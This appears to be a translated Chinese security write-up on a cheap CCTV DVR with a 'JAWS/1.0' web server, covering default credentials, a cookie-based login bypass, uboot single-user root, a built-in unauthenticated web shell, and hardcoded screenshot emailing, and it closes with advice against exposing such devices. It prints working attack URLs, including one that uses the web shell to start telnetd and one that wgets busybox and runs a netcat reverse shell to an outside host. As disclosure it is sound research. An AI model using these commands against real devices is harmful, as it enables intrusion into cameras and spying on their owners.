閉路電視探頭究竟有多不安全?
閉路電視探頭在我們的生活中無所不在。最近的調(diào)查估計(jì)全英國大概有185萬的監(jiān)控?cái)z像頭,大部分都在私人住宅。大部分的探頭都會連接到某些錄像設(shè)備,也就是數(shù)字錄像機(jī)(DVR)。
DVR會把多個(gè)攝像頭的錄像儲存到一個(gè)硬盤上。它們不僅能夠在屏幕上顯示圖片,大部分還能聯(lián)網(wǎng),用戶可以通過瀏覽器或者客戶端來連接。
當(dāng)然商家和戶主都會想要遠(yuǎn)程進(jìn)入DVR,DVR設(shè)備通過端口轉(zhuǎn)發(fā)連接到互聯(lián)網(wǎng),也正因?yàn)槿绱耍覀兛梢栽赟hodan上找到大量的DVR設(shè)備。
所以我們打算買個(gè)廉價(jià)的DVR,看看還會不會有更加糟糕的情況。
經(jīng)過幾小時(shí)的挖掘我們便發(fā)現(xiàn)了以下的問題:
容易被找到
這款DVR會運(yùn)行一個(gè)客戶web服務(wù)器,它的HTTP服務(wù)器頭很具標(biāo)志性:“JAWS/1.0”。在Shodan上搜索這個(gè)關(guān)鍵字我們找到44,000個(gè)設(shè)備。
弱口令問題
默認(rèn)情況下,這款設(shè)備的用戶名是admin,密碼為空。
連接電視后使用DVR的本地界面就可以更改密碼。但設(shè)備中沒有鍵盤,所以可以肯定大量的這款DVR使用的是默認(rèn)密碼。
雖然弱口令已經(jīng)是老掉牙的問題了,但是還是物聯(lián)網(wǎng)領(lǐng)域中普遍的問題。
Web驗(yàn)證繞過
首次訪問DVR的時(shí)候顯示的是index.html頁面,這個(gè)頁面可以讓你輸入用戶名密碼,驗(yàn)證成功后,你就會被重定向到view2.html。
奇怪的是,當(dāng)我們清空cookies,訪問view2.html時(shí),我們看到頁面渲染了一下,然后再把我們重定向到index.html讓我們輸密碼。
這基本上就是JavaScript客戶端驗(yàn)證的標(biāo)志了。檢查view2.js,我們發(fā)現(xiàn)是這樣的:
- $(document).ready(function(){
- dvr_camcnt =Cookies.get(“dvr_camcnt");
- dvr_usr =Cookies.get("dvr_usr");
- dvr_pwd =Cookies.get("dvr_pwd");
- if(dvr_camcnt ==null || dvr_usr == null || dvr_pwd == null)
- {
- location.href= "/index.html";
- }
只要這三個(gè)cookie有任意值,你就可以訪問了(dvr_camcnt得是2、4、8或24)。
手動(dòng)設(shè)置這些cookie我們就能訪問了。也就是說,我們無需知道用戶名密碼。
打開串號控制臺
雖然拿到Web界面控制已經(jīng)很好玩了,但我還要root shell。
打開機(jī)器上面的蓋子之后,我們發(fā)現(xiàn)了J18。這是個(gè)115200串口,雖然我能看到輸出,但是沒有shell,也沒地方輸入。
重啟設(shè)備后我們發(fā)現(xiàn)它使用的是uboot,這是一款非常常見的開源boot loader。按任意鍵就能中斷uboot。不過你只有一秒鐘中斷uboot,所以可能得多嘗試幾次。
我們現(xiàn)在就進(jìn)入了uboot控制臺。我們可以修改啟動(dòng)參數(shù),改為單用戶模式,我們就無需密碼登陸了。
setenv bootargs ${bootargs) single boot
現(xiàn)在DVR就進(jìn)入了單用戶模式,我們也有了root shell,我們可以做點(diǎn)猥瑣的事了。
內(nèi)置web shell
本地root shell不錯(cuò),但我還想要遠(yuǎn)程shell。
查看固件后我們發(fā)現(xiàn),大部分的功能都是在dvr_app里面的,包括web服務(wù)器。盡管web界面中有cgi-bin目錄,但我在文件服務(wù)器上沒找到這個(gè)目錄,有可能dvr_app在內(nèi)部處理了這個(gè)目錄。這樣的情況在嵌入設(shè)備中非常普遍。
對這個(gè)二進(jìn)制文件使用strings命令,就能看到cgi-bin了。而且我們還看到了其他的值,包括moo和shell。
訪問moo目錄是這么個(gè)情況:
訪問shell目錄會一直加載,但訪問shell?ps時(shí)就能看到進(jìn)程列表了:
因此我們就拿到了一個(gè)遠(yuǎn)程,并且無需認(rèn)證的shell,這個(gè)shell無法禁止,是設(shè)備里面自帶的。
無需密碼登錄Telnet
設(shè)備在23端口運(yùn)行telnet,但需要root密碼。即使我們能夠看到/etc/passwd和解密hash,我們還是拿不到密碼。
我們通過密碼破解器看看能不能拿到密碼,但這要花點(diǎn)時(shí)間。
為了解決這個(gè)問題,我們使用遠(yuǎn)程web shell開啟一個(gè)新的已經(jīng)登錄的telnet daemon:
http://192.168.3.101/shell?/usr/sbin/telnetd -l/bin/sh -p 25
現(xiàn)在我們可以登錄telnet了。
反彈shell
攻擊者可以用反彈shell讓DVR反向連接到他所控制的主機(jī)。只要用戶有出口連接,這招就很管用,這是繞過NAT和防火墻的好辦法。家庭企業(yè)和小型企業(yè)網(wǎng)絡(luò)大多不會進(jìn)行出站的過濾。
一般我們會用netcat建立反彈shell。跟其他小型嵌入式設(shè)備一樣,這款DVR使用busybox來提供發(fā)亮的shell功能。這些命令是任意的。很遺憾netcat不能用,但我們可以解決。
DVR使用的是ARM處理器。也就是說基本上不可能直接下載netcat或busybox了,我們得進(jìn)行編譯。
為嵌入式系統(tǒng)進(jìn)行編譯很尷尬的,尤其是你得要跟硬件交互的時(shí)候。還好busybox和netcat的要求不多。我們只需要為架構(gòu)創(chuàng)建靜態(tài)鏈接二進(jìn)制。這個(gè)得是要靜態(tài)鏈接的,這樣就能避免對庫的依賴。這樣會使二進(jìn)制文件變大,不過這款設(shè)備上沒有磁盤空間挺寬裕。
編譯完成后我們就拿到DVR上試試。
找一個(gè)可寫目錄。大部分的文件系統(tǒng)都是只讀的,你甚至無法更改密碼添加用戶。這畢竟是個(gè)DVR,所以我們弄了個(gè)硬盤,加載在/root/rec/a1下。
用wget下載編譯的busybox二進(jìn)制到這個(gè)目錄
把busybox設(shè)為可執(zhí)行
運(yùn)行netcat反彈shell
命令如下:
http://192.168.3.101/shell?cd /root/rec/a1 && wget%68%74%74%70%3a%2f%2f%32%31%32%2e%31%31%31%2e%34%33%2e%31%36%31%2f%62%75%73%79%62%6f%78%20 && chmod %2bx busybox&& ./busybox nc 1.2.3.4 8000 -e /bin/sh -e /bin/sh
Wget的網(wǎng)址得要經(jīng)過編碼,實(shí)際的網(wǎng)址是:
我們服務(wù)器上的netcat就監(jiān)聽到一個(gè)連接了,通過訪問構(gòu)造好的URL我們就可以與DVR進(jìn)行交互了。
發(fā)送截屏至硬編碼的郵箱
進(jìn)一步檢查dvr_app二進(jìn)制,我們發(fā)現(xiàn)了一些很奇怪的功能。
不知道為何,第一個(gè)攝像頭的截屏?xí)话l(fā)送到lawishere@yeah.net。
發(fā)送DVR截屏的行為嚴(yán)重威脅到了隱私。
而且奇怪的是,有人曾經(jīng)在Frank Law的GitHub頁面上報(bào)告過這一情況:
https://web.archive.org/web/20151010191622/https://github.com/lawishere/JUAN-Device/issues/1
然后他撤下了這個(gè)項(xiàng)目。
其他問題
事情到此并沒有完全結(jié)束。這款設(shè)備還有其他的問題:
如果你通過web服務(wù)器獲得了shell或者命令注入,你就沒必要提權(quán)了,你已經(jīng)是root了。
這款設(shè)備沒有CSRF保護(hù),你可以誘騙用戶點(diǎn)擊鏈接,就能以他們的身份執(zhí)行動(dòng)作。
沒有帳號鎖定或者防爆破措施。你可以一直猜密碼下去,唯一的限制頻率的就是設(shè)備本身的運(yùn)行速度。
沒有HTTPS。所有通信都是以明文方式發(fā)送,可以被攔截,可以被篡改。
沒有固件升級
我們的建議
把這些設(shè)備放到互聯(lián)網(wǎng)上,你就會面臨嚴(yán)重的安全風(fēng)險(xiǎn)。如果你把web界面端口轉(zhuǎn)發(fā),你就等于讓攻擊者完全控制這個(gè)設(shè)備。然后他們還可以以此作為跳板從內(nèi)部攻擊你網(wǎng)絡(luò)中的其他設(shè)備。